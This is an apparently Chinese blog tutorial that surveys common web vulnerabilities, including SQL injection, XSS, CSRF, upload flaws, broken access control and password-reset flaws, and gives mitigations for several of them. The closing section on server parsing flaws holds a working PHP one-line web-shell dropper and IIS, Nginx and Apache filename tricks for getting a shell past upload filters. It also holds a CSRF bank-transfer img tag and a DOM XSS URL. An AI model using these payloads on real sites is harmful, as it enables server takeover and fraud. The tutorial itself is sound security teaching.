相信大家对sql注入、xss、csrf、命令注入、越权等常见Web安全漏洞并不陌生。但是如何验证这些漏洞呢?且听小编一一道来。
Web安全漏洞 |
|||||||||||||
输入输出验证不充分 |
设计缺陷 |
环境缺陷 |
|||||||||||
Sql注入 | xss | csrf | 目录穿越 | 文件上传 | 代码注入 | 命令注入 | 信息泄露 | …… | 越权漏洞 | 非授权对象引用 | 业务逻辑漏洞 | 框架漏洞 | 基础环境漏洞 |
一.Web常见安全漏洞分析——输入输出验证不充分
1.1 输入输出验证
验证的内容:
1、验证所有客户端的输入
2、验证所有输出到客户端的内容
验证的方法:
1、验证数据的长度、大小、格式、类型以及内容
2、使用服务端代码做最终验证
3、不使用黑名单检测方式
4、数据非法,停止程序执行,切勿企图修正数据
1.2 SQL 注入
SQL注入本质
Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑,黑客可以利用该漏洞执行任意SQL语句。
SQL 注入原理
规避SQL注入
1、采用参数化查询的方式(推荐)
2、内置过滤系统(黑名单,很常见但是不推荐)
治标不治本,存在被绕过的可能性
1.3 跨站脚本攻击(XSS)
XSS(Cross Site Script):Web程序代码中把用户提交的参数未做过滤就直接输出到页面,参数中的特殊字符打破了HTML页面的原有逻辑,黑客可以利用该漏洞执行恶意HTML/JS代码、构造蠕虫传播、篡改页面实施钓鱼攻击等。
XSS分类
- Reflected XSS(Non-persist XSS)
跨站代码存在于链接中,请求该链接时,跨站代码经过服务器反射回来,不会在服务器端进行存储。
- Stored XSS(Persist XSS)
相对反射性XSS,存储型危害更大,利用更广泛,跨站攻击代码存储在服务端(比如数据库中)
- DOM based XSS
一种基于DOM的跨站,这是客户端脚本自身解析不正确导致的安全问题
XSS 示例
XSS 示例(DOM)
触发XSS方式为:http://xxx.com/dom.html#alert(1)
Eval执行的是location.hash中的值,也就是url最后#后面的alert(1)
XSS代码不会发送到服务器端
正确的编程方式
转义比过滤更好
1.4 跨站请求伪造(CSRF)
Cross Site Request Forgery:CSRF是伪造客户端请求的一种攻击,字面上的意思是跨站点伪造请求。这种攻击方式是国外的安全人员于2000年提出,国内直到06年初才被关注。CSRF的定义是强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。
CSRF示例(GET)
某银行网站:
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
B站点(存在XSS)
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
CSRF示例(POST)
某银行网站:
B站点(存在XSS)
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
某银行网站:
B站点(存在XSS)
规避CSRF
1、判断HTTP referer
2、使用隐藏的token hash做校验
3、图形验证码
1.5 文件上传常见问题
1、允许上传可执行文件
2、客户端JS脚本验证上传文件类型
3、使用黑名单限制上传文件类型
4、文件名、目录名可自定义
5、文件名中特殊字符处理不当
1.6 文件下载漏洞
二. Web常见安全漏洞分析——设计缺陷
2.1 逻辑漏洞:非授权对象引用
越权查询任意用户信息:
涉及URL:
http://***.com/buyer/buyerCenter/findSubInfoByRoleId/8700260063
2.2 逻辑漏洞:纵向越权
2.3 逻辑漏洞:找回密码漏洞
- 密码找回凭证太弱,容易被爆破
- 密码找回凭证可以从客户端、URL中直接获取
- 密码找回凭证可以在网页源代码中直接获取
- 密码找回的邮箱链接易猜解,如时间的md5
- 密码找回的手机或邮箱从页面获取,可以通过firebug修改
- 最后提交新密码时修改用户ID为其他ID
三. Web常见安全漏洞分析——环境缺陷
3.1 解析漏洞
1.IIS 5.x/6.0解析漏洞
a) 目录解析
/xx.asp/xx.jpg
b) 文件解析
xx.asp;.jpg
还有IIS6.0 默认的可执行文件除了asp还包含这三种
/shell.asa
/shell.cer
/shell.cdx
2. IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
在默认Fast-CGI开启状况下,上传一个名字为test.jpg,内容为
<?PHP fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>
的文件,然后访问test.jpg/.php,在这个目录下就会生成一句话木马 shell.php
3. Nginx <8.03 空字节代码执行漏洞
影响版本:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.jpg%00.php
来执行其中的代码
4. Apache解析漏洞
Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 shell.php.a.rar “.a”和”.rar” 这两种后缀是apache不可识别解析,apache就会把shell.php.a.rar解析成php
5. 其他
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,利用windows的这种特性,在文件名后加一个空格或者点绕过黑名单.若上传成功,空格和点都会被windows自动消除,这样也可以getshell。